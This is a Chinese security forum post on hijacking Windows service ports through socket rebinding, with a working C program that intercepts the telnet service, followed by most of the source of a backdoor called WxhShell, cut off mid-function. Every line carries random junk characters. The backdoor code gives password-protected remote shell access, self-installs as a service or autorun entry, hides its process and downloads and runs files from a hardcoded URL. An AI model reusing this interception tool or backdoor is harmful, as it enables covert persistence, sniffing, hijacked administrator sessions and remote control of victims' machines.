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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  l*+"0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +!(W>4F  
CKAs3",  
  saddr.sin_family = AF_INET; Kp|#04]  
. k6)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H& #Od?  
yrDWIU(8;6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -V'`;zE6  
yqg&dq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 No\H QQ  
[ imC21U  
  这意味着什么?意味着可以进行如下的攻击: ,sAN,?eG~  
[n`SXBi+n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X9:(}=E V  
&wZ ggp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I<w`+<o(  
!n=@(bT*wT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6zQ {Y"0  
A%VBBvk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;x[F4d  
x04JU$@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 seFug  
~YIGOL"?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >`jsUeS  
Oc;/'d2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?kICYtY:_b  
pai>6p  
  #include ." m6zq  
  #include u}QB-oU  
  #include Dm@wTt8N(  
  #include    XUD/\MoV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y$^x.^dT,  
  int main() kT(}>=]g  
  { Nk-biD/J  
  WORD wVersionRequested; mx#H+:}&r  
  DWORD ret; qAH@)}  
  WSADATA wsaData; HQ%-e5Q  
  BOOL val; Z\=].[,w4  
  SOCKADDR_IN saddr; ~P*t_cpZ  
  SOCKADDR_IN scaddr; lN,8(n?g  
  int err; L3Leb%,!  
  SOCKET s; 8gap _qTo  
  SOCKET sc; %6`{KT?  
  int caddsize; r9Ux=W\  
  HANDLE mt; 2Yx6.e<  
  DWORD tid;   {IeW~S' &  
  wVersionRequested = MAKEWORD( 2, 2 ); (}Ql#q K  
  err = WSAStartup( wVersionRequested, &wsaData ); Ae,-. xJ  
  if ( err != 0 ) { &bx;GG\<4  
  printf("error!WSAStartup failed!\n"); 8wz4KG3SK  
  return -1; %h** L'~``  
  } n:?fv=9n  
  saddr.sin_family = AF_INET; ^4LkKYMS  
   F|*{Ma  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R v9?<]  
a;Ic!:L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {~ yj]+Im  
  saddr.sin_port = htons(23); PUB|XgQDY:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r}i<cyL  
  { %$j)?e  
  printf("error!socket failed!\n"); EXDtVa Ot  
  return -1; NyD[9R?  
  } D4yJ:ATO&  
  val = TRUE; s-eC')w~E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0s = h*"[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iTU 8WWY<  
  { Xj^6ZJc  
  printf("error!setsockopt failed!\n"); %S8e:kc6  
  return -1; UA[2R1}d  
  } #q~SfG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1<]g7W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,ZcW+!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (NUk{MTX  
f\"Qgn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oK h#th  
  { 7?K?-Oj  
  ret=GetLastError(); 5y! 4ny _  
  printf("error!bind failed!\n"); 'kc_OvVA  
  return -1; rt%.IQdY  
  } *b?C%a9  
  listen(s,2); ?H7*?HV  
  while(1) KQ3]'2q  
  { FxSBxz<N-A  
  caddsize = sizeof(scaddr); (Q !4\Gy  
  //接受连接请求 ]GYO`,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cA"',N8!5  
  if(sc!=INVALID_SOCKET) lTPo2-j/eK  
  { ^RG6h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); : j&M&+  
  if(mt==NULL) KO(+%>^R  
  { }N5>^y  
  printf("Thread Creat Failed!\n"); 4NL Tt K  
  break; 59";{"sw  
  } -zg,pK$+  
  } CjM+%l0MW  
  CloseHandle(mt); CGIcuHp  
  } $]4^ENkI  
  closesocket(s); KyW6[WA9  
  WSACleanup(); 22|eiW/a  
  return 0; yk Sn=0  
  }   5O&6 (Gaf  
  DWORD WINAPI ClientThread(LPVOID lpParam) /-<S FT`  
  { zp r`  
  SOCKET ss = (SOCKET)lpParam; <Mo_GTOC!  
  SOCKET sc; ]{V q;  
  unsigned char buf[4096]; |")}p=   
  SOCKADDR_IN saddr; [JFmhLP9  
  long num; `pF|bZ?v  
  DWORD val; V\@h<%{^%7  
  DWORD ret; z 8M^TV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \4I1wdd|^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9iWDEk  
  saddr.sin_family = AF_INET; $j^Jj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); goi.'8M|/b  
  saddr.sin_port = htons(23); <CJua1l\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gF1q Z=<  
  { vpx8GiV  
  printf("error!socket failed!\n"); AwB ]0H  
  return -1; {zBf*x  
  } r00waw>C\  
  val = 100; C$\|eC j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <OF7:f  
  { o:_}=1nh  
  ret = GetLastError(); l2>G +t(,  
  return -1; ^8aj\xe(  
  } u&`7 C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =)m2u2c M  
  { UiA\J  
  ret = GetLastError();  ~%_$e/T  
  return -1; h@FDP#H  
  } 6 k+FTDL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CJk$o K{Q  
  { H r?G_L  
  printf("error!socket connect failed!\n"); *. l,_68  
  closesocket(sc); $x 6Rmd{  
  closesocket(ss); }6.R.*Imz  
  return -1; B;[{7J]  
  } ?ltTJ(Po  
  while(1) bLGgu#  
  { r#*kx#"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l]inG^s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R9D< lX0%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JPS22i)P  
  num = recv(ss,buf,4096,0); q5?g/-_0[  
  if(num>0) %TdZ_  
  send(sc,buf,num,0); MVz=:2)J2  
  else if(num==0) MhNzmI&`  
  break; ws Lg6  
  num = recv(sc,buf,4096,0); U .hV1  
  if(num>0) mJRvC%  
  send(ss,buf,num,0); <Bb $d@c  
  else if(num==0) V(1Ldl'a  
  break; U 9TEC)  
  } 8I$B^,N  
  closesocket(ss); *W,"UL6U8y  
  closesocket(sc); BKfcK>%g  
  return 0 ; |E0>-\6  
  } gxpR#/(E~  
R!;tF|]  
K>6#MI  
========================================================== CL|t!+wU/  
_KC)f'Cx  
下边附上一个代码,,WXhSHELL ej>8$^y  
]p:x,%nm  
========================================================== 6+BR5Nr  
KOGbC`TN<  
#include "stdafx.h" ibex:W^  
d*Dq=.F(  
#include <stdio.h> f:\jPkf'  
#include <string.h> &Qy_= -]  
#include <windows.h> Ji4c8*&Jpc  
#include <winsock2.h> z+FhWze  
#include <winsvc.h> LEvdPG$)  
#include <urlmon.h> G`PSb<h\oc  
mm\Jf  
#pragma comment (lib, "Ws2_32.lib") T j9;".  
#pragma comment (lib, "urlmon.lib") ct=|y(_  
7(^<Z5@  
#define MAX_USER   100 // 最大客户端连接数 H7?C>+ay  
#define BUF_SOCK   200 // sock buffer RVy8%[Gcq  
#define KEY_BUFF   255 // 输入 buffer bwUsE U 0  
+Sv`23G@  
#define REBOOT     0   // 重启 P!:Y<p{=>  
#define SHUTDOWN   1   // 关机 TAl py$  
&K2[>5 mG  
#define DEF_PORT   5000 // 监听端口 F.ryeOJ  
PcC9)x  
#define REG_LEN     16   // 注册表键长度 5WgdgDb@L  
#define SVC_LEN     80   // NT服务名长度 Teu4;  
|[(4h  
// 从dll定义API  =\`g<0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0*YLFqN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?Q;8D@   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N_Cu%HP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {uh]b (}s)  
b+yoD  
// wxhshell配置信息 J/8aDr (+  
struct WSCFG { /ZHuT=j1  
  int ws_port;         // 监听端口 l;}D| 6+_W  
  char ws_passstr[REG_LEN]; // 口令 )VQ:L:1t(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ==`K$rM  
  char ws_regname[REG_LEN]; // 注册表键名 d$8rzd  
  char ws_svcname[REG_LEN]; // 服务名 ;!DUNzl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +b1(sk=4z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xcwyn\93)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K/79Tb-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rcMV YSj0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1i4KZ"A5+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0vNEl3f'O  
%@3AA<  
}; >w+WG0Z K  
@|(mR-Jj  
// default Wxhshell configuration qY`)W[  
struct WSCFG wscfg={DEF_PORT, [5,aBf) X  
    "xuhuanlingzhe", \NKf$"x}  
    1, 1s8v E f  
    "Wxhshell", 5t#+UR  
    "Wxhshell", i%+cPQ^o  
            "WxhShell Service", 9V`/zq?  
    "Wrsky Windows CmdShell Service", Q ,30  
    "Please Input Your Password: ", SdBv?`u|g  
  1, D oX!P|*  
  "http://www.wrsky.com/wxhshell.exe", &0SX*KyI  
  "Wxhshell.exe" A#M#JI-Y  
    }; S Y>i@s+ML  
Pe8W Br;`  
// 消息定义模块 z kQV$n{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )Q9m,/F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _Sy-&}c+ +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @B %m,Mx  
char *msg_ws_ext="\n\rExit."; `4__X;  
char *msg_ws_end="\n\rQuit."; Or= [2@Wg  
char *msg_ws_boot="\n\rReboot..."; \~d|MP}"F:  
char *msg_ws_poff="\n\rShutdown..."; ~4y&]:I  
char *msg_ws_down="\n\rSave to "; ` `j..v,  
D% } ?l  
char *msg_ws_err="\n\rErr!"; A\iDK10Q$  
char *msg_ws_ok="\n\rOK!"; kLQPa[u4  
:TJv<NZi'  
char ExeFile[MAX_PATH]; rM#jxAb  
int nUser = 0; K@Q_q/(%;  
HANDLE handles[MAX_USER]; H_m(7@=  
int OsIsNt; Iq0_X7:{QI  
T`7;Rl'Q  
SERVICE_STATUS       serviceStatus; /~NsHStn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _*h,,Q  
eU 'DQp*  
// 函数声明 `G&W%CHB  
int Install(void); Er^ijh,  
int Uninstall(void); b|U&{I>TH  
int DownloadFile(char *sURL, SOCKET wsh); zJWBovT/  
int Boot(int flag); 0'*whhH  
void HideProc(void); zQM3n =y  
int GetOsVer(void); ce th)Xm  
int Wxhshell(SOCKET wsl); L&ySXc=  
void TalkWithClient(void *cs); >B/ jTn5=  
int CmdShell(SOCKET sock); 5n! V^ !  
int StartFromService(void); 3US}('  
int StartWxhshell(LPSTR lpCmdLine); S%<RV6{aiM  
\?7)oFNz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0H,1"~,w]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {%5k1,/(  
U1bhd}MoR  
// 数据结构和表定义 F%@( $f  
SERVICE_TABLE_ENTRY DispatchTable[] = n#t{3qzpD  
{ .ii9-+_  
{wscfg.ws_svcname, NTServiceMain}, l_GvdD  
{NULL, NULL} '#gd19#  
}; ] C_g: |q  
jOj`S%7  
// 自我安装 7yo/ sb9h  
int Install(void) X5UcemO  
{ l:mC'aR  
  char svExeFile[MAX_PATH]; PhW< )B]  
  HKEY key; L9nv05B  
  strcpy(svExeFile,ExeFile); ["|AD,$%  
Nq6~6Rr  
// 如果是win9x系统,修改注册表设为自启动 A]" $O&l  
if(!OsIsNt) { opxVxjTT#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?nJ7lLQA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;cd{+0  
  RegCloseKey(key); Q3> 3!FAO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { </F@ 5*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :W(3<D7\  
  RegCloseKey(key); LWE[]1=  
  return 0; yep`~``_  
    } DqyJ]}|  
  } )j(13faW|  
} g3Q]W(F%$  
else { X{zg-k(@  
//cj$}Rn!  
// 如果是NT以上系统,安装为系统服务 HKr")K%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); im{'PgiR  
if (schSCManager!=0) yzr>]"o  
{ |3{DlZ2S  
  SC_HANDLE schService = CreateService y%)5r}S^  
  ( >FED*C4  
  schSCManager, ?#?[6t  
  wscfg.ws_svcname, ks|[`FH  
  wscfg.ws_svcdisp, BqC, -gC  
  SERVICE_ALL_ACCESS, LW6&^S?4{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =S/$h}Vi  
  SERVICE_AUTO_START, maQE Bi,  
  SERVICE_ERROR_NORMAL, }YJ(|z""  
  svExeFile, 3"=% [  
  NULL, g.OBh_j-v  
  NULL, &EKP93  
  NULL, WF\ hXO  
  NULL, YfL|FsCh  
  NULL OE)n4X  
  ); ^]c/hb|X  
  if (schService!=0) Fgq"d7`9@  
  { Cc*"cQe  
  CloseServiceHandle(schService); wjh[}rTV*  
  CloseServiceHandle(schSCManager); %^s;{aN*!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ^ZnlWZ@r  
  strcat(svExeFile,wscfg.ws_svcname); N1$lG? )+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y;A<R[|Ve  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~01 o  
  RegCloseKey(key); wuE]ju<  
  return 0; ,ButNB v  
    } =g4^tIYq  
  } , f9V`Pz)  
  CloseServiceHandle(schSCManager); Gxu   
} (7BG~T  
} Q4e*Z9YJ  
UwOZBF<  
return 1; K=Z~$)Og)  
} p\I,P2on  
4 zuM?Dp  
// 自我卸载 3 EH/6  
int Uninstall(void) ETvn$ Jdp  
{ $z,lq#zzl  
  HKEY key; .Tr!/mf_  
Kp?):6  
if(!OsIsNt) { USfpCRj9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -1).'aJ^  
  RegDeleteValue(key,wscfg.ws_regname); ZN>oz@j Y  
  RegCloseKey(key); JU+Uzp   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H.|v ^e  
  RegDeleteValue(key,wscfg.ws_regname); *sK")Q4N  
  RegCloseKey(key); i5wXT  
  return 0; r&sm&4)p-5  
  } f)w>V3~w,  
} N,U<.{T=A  
} Eukj2 a  
else { =au7'i|6  
QX}O{LQR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v0euvs  
if (schSCManager!=0) x'Pp!  
{ OB"Ur-hJ0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -JOtvJIQI  
  if (schService!=0) ,] HH%/h  
  { SrGX4  
  if(DeleteService(schService)!=0) { gyi<ot;  
  CloseServiceHandle(schService); 1{@f:~v?  
  CloseServiceHandle(schSCManager); Uywi,9f  
  return 0; !K a!f1  
  } iXt1{VP'K  
  CloseServiceHandle(schService); J.'}R2gT1  
  } dw{L,u`68  
  CloseServiceHandle(schSCManager); t\44 Pu%  
} ELoE-b)Cb  
} 6 ,jp-`  
u,AZMjlF  
return 1; oE:9}]N_  
} [ySO  
N&g9z{m7  
// 从指定url下载文件 VZ"W_U,  
int DownloadFile(char *sURL, SOCKET wsh) } :U'aa  
{ eytd@-7uX  
  HRESULT hr; b37F;"G  
char seps[]= "/"; &w\E*$  
char *token; H9nVtS{x  
char *file; 9W{`$30  
char myURL[MAX_PATH]; SF$'$6x}  
char myFILE[MAX_PATH]; E}eu]2=nU}  
y9W6e "  
strcpy(myURL,sURL); -= {Z::}S"  
  token=strtok(myURL,seps); /C)mx#h]  
  while(token!=NULL) !YD~o/t@|  
  { &"!s+_  
    file=token; =TImx.D:  
  token=strtok(NULL,seps); tXj28sh$  
  } awP ']iE  
4o7(cP  
GetCurrentDirectory(MAX_PATH,myFILE); bvHF;Qywg  
strcat(myFILE, "\\"); EB8=*B8  
strcat(myFILE, file); f#~X4@DH`  
  send(wsh,myFILE,strlen(myFILE),0); ^Mw>'*5^  
send(wsh,"...",3,0); }.md$N_F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kmHIU}Z  
  if(hr==S_OK) V %k #M  
return 0; 4`Com~`6"  
else >KF1]/y<  
return 1; +E.}k!y  
i4 BCm/h  
} 8r"$o1!  
6J/"1 _  
// 系统电源模块 QLNQE6-  
int Boot(int flag) Pl|e?Np  
{ -$Y@]uf^  
  HANDLE hToken; 8yr_A[S8.  
  TOKEN_PRIVILEGES tkp; ;3ZHm*xJx  
Y{c_5YYf  
  if(OsIsNt) { zY?GO"U"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W)WL1@!Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E]z Td$v6  
    tkp.PrivilegeCount = 1; >uMj}<g#Z?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n _G< /8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y@)iPK@z  
if(flag==REBOOT) { _`6fGu& W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C.SG m  
  return 0; _ _x2xtrH  
} QwaCaYoh  
else { o`B,Pt5vu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;dXQB>Za  
  return 0; r{DR$jD  
} 8m? 9?OV5  
  } eK_Q>;k5A  
  else { V6)e Jy  
if(flag==REBOOT) { B8Ob~?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J;Y=o B  
  return 0; K-D{Z7J^l  
} Jjt'R`t%t  
else { &,?bX])  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f{ZOH<"Lo  
  return 0; =,Y i" E  
} CD$0Z  
} 6=V&3|"  
Az +}[t  
return 1; INca  
} ;6op|O  
7^Y"K  
// win9x进程隐藏模块 =-#>NlB$w  
void HideProc(void) 5LVhq[}mP  
{ d*7nz=0&$  
L<HJ!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S\7-u\)  
  if ( hKernel != NULL ) sZ`C "1cX  
  { >)g`;iO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b$/TfpNdo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bZ!*s  
    FreeLibrary(hKernel); .~#<>  
  } rLMjN#`^  
<DG=qP6O  
return; VgfA&?4[  
} 5GD6%{\O  
{J`Zl1_q  
// 获取操作系统版本 wwnl_9a  
int GetOsVer(void) [kf$8 2  
{ F@e9Dz|  
  OSVERSIONINFO winfo; ~T;FOB%w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sSVgDQ~q  
  GetVersionEx(&winfo); yya"*]*S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gXtyl]K:  
  return 1; Q+e|;Mj  
  else plL##?<D<  
  return 0; RS&l68[6  
} =rBNEd  
HX1RA 5O  
// 客户端句柄模块 :S Tj <  
int Wxhshell(SOCKET wsl) B+:'Ld](  
{ 1EvAV,v"  
  SOCKET wsh; V=!tZ[4z$h  
  struct sockaddr_in client; 6?-vj2,  
  DWORD myID; Kyy CS>  
" S6'<~s  
  while(nUser<MAX_USER) o!TG8aeb  
{ mjdZ^  
  int nSize=sizeof(client); s&vREx(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zy0u@``  
  if(wsh==INVALID_SOCKET) return 1; ]Bo !v*12  
wOH$S=Ba5,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /A3tY"Vn  
if(handles[nUser]==0) X}?`G?'  
  closesocket(wsh); ><o dBM-  
else j6wdqa9!~  
  nUser++; 5&5 x[S8  
  } l4c9.'6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ur\v[k=  
?+Sjt  
  return 0; D[) Z$+D4f  
} c`]_Q1'30w  
{Lj]++`fB]  
// 关闭 socket k@1\ULo  
void CloseIt(SOCKET wsh) NFT&\6!o  
{ _F|oL|  
closesocket(wsh); 9!hiCqA&  
nUser--; _~m@ SI  
ExitThread(0); #K1VPezN  
} v]CH L# |  
c8qsp n  
// 客户端请求句柄 p|Po##E}g^  
void TalkWithClient(void *cs) [d="94Ab  
{ FX QUj&9  
_~f&wkc  
  SOCKET wsh=(SOCKET)cs;  uY]nqb  
  char pwd[SVC_LEN]; hr9[$4'H  
  char cmd[KEY_BUFF]; ` <+MR6M  
char chr[1]; uW*)B_c  
int i,j; /Jz?~H{%n  
~(4;P%L:  
  while (nUser < MAX_USER) { N%Gb  
RJ/4T#b"+  
if(wscfg.ws_passstr) { (UW V#AR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Yx9=>R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $q`650&S*  
  //ZeroMemory(pwd,KEY_BUFF); tHez S~t_  
      i=0; M*|,05>  
  while(i<SVC_LEN) { )H&rr(  
d(u"^NH;  
  // 设置超时 k&-SB -  
  fd_set FdRead; #'}?.m  
  struct timeval TimeOut; =FXO1UZ!  
  FD_ZERO(&FdRead); =b{wzx}e  
  FD_SET(wsh,&FdRead); P@ Oq'y[  
  TimeOut.tv_sec=8; i v7^ !  
  TimeOut.tv_usec=0; 09jU 0x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,DUD4 [3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9 06b=  
sem:"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wr.G9zq.+  
  pwd=chr[0]; tz #Fy?pe  
  if(chr[0]==0xd || chr[0]==0xa) { 6?an._ C  
  pwd=0; .(T*mk*>  
  break; #l kv&.)x  
  } IbFS8 *a\  
  i++; JQCQpn/  
    } H+UA  
-%8*>%  
  // 如果是非法用户,关闭 socket ^m ^4LDt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9V5}%4k%+  
} i7hWBd4wK  
15NeC7GAh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rr/0pa$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iYwzdW1  
<Sm@ !yx  
while(1) { F Xbf7G)H  
F@</Ev  
  ZeroMemory(cmd,KEY_BUFF); .EJo 9s'  
DbRq,T  
      // 自动支持客户端 telnet标准   WCc7 MK  
  j=0; 1D3{\v  
  while(j<KEY_BUFF) { pY75S5h:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Li[ :L  
  cmd[j]=chr[0]; 0s>ozAJ  
  if(chr[0]==0xa || chr[0]==0xd) { luNEgCq  
  cmd[j]=0; kzq3-NTV  
  break; mUFg(;ya  
  } J9+< 9g4-t  
  j++; :m~R<BQ"  
    } [wHGt?R  
- \ {.]KL  
  // 下载文件 rVo0H.+N)`  
  if(strstr(cmd,"http://")) { v(5zSo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0$8iWL  
  if(DownloadFile(cmd,wsh)) Mi+<|5is  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VJp; XM  
  else 3[*E>:)qh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S6~&g|T,  
  } OsQB` D  
  else { X@:[.eI~  
E?,O>bCJ5  
    switch(cmd[0]) { >93I|C|  
  X8l|^ [2F  
  // 帮助 Rn(6Fk?   
  case '?': { r$7zk<01  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1DzI@c~X  
    break; EZICH&_  
  } kkA5 pbS  
  // 安装 ' 3h"Ol{b  
  case 'i': { /XfE6SBz  
    if(Install()) rd#O ]   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5k7$0:t/  
    else hq.XO=0"k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V 4~`yT?*"  
    break; gaBVD*>  
    } .(D,CGtYb  
  // 卸载 X,+M?  
  case 'r': { G)|s(C!  
    if(Uninstall()) ?<3wks|C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) ?L  
    else H Pvs~`>V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y+R *<5qC<  
    break; uH"W07  
    } YfB8  
  // 显示 wxhshell 所在路径 QC/%|M0 {  
  case 'p': { 'aLTiF+  
    char svExeFile[MAX_PATH]; .(2Zoa  
    strcpy(svExeFile,"\n\r"); VMa \?`fT  
      strcat(svExeFile,ExeFile); iL vzoQ  
        send(wsh,svExeFile,strlen(svExeFile),0); P LHiQ:  
    break; KG8:F].u(  
    } d5 U?*   
  // 重启 T~&9/%$F  
  case 'b': { AEUXdMo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i.~*G8!DM  
    if(Boot(REBOOT)) c5vi Y|C^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|n)ZP2cp  
    else { p`oSI}ZwB  
    closesocket(wsh); r]6X  
    ExitThread(0); ;";#{B:  
    } ^nPk;%`0  
    break; RxeyMNd  
    } -c_}^j  
  // 关机 xzI?'?duC  
  case 'd': { klUW_d-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _T8o]  
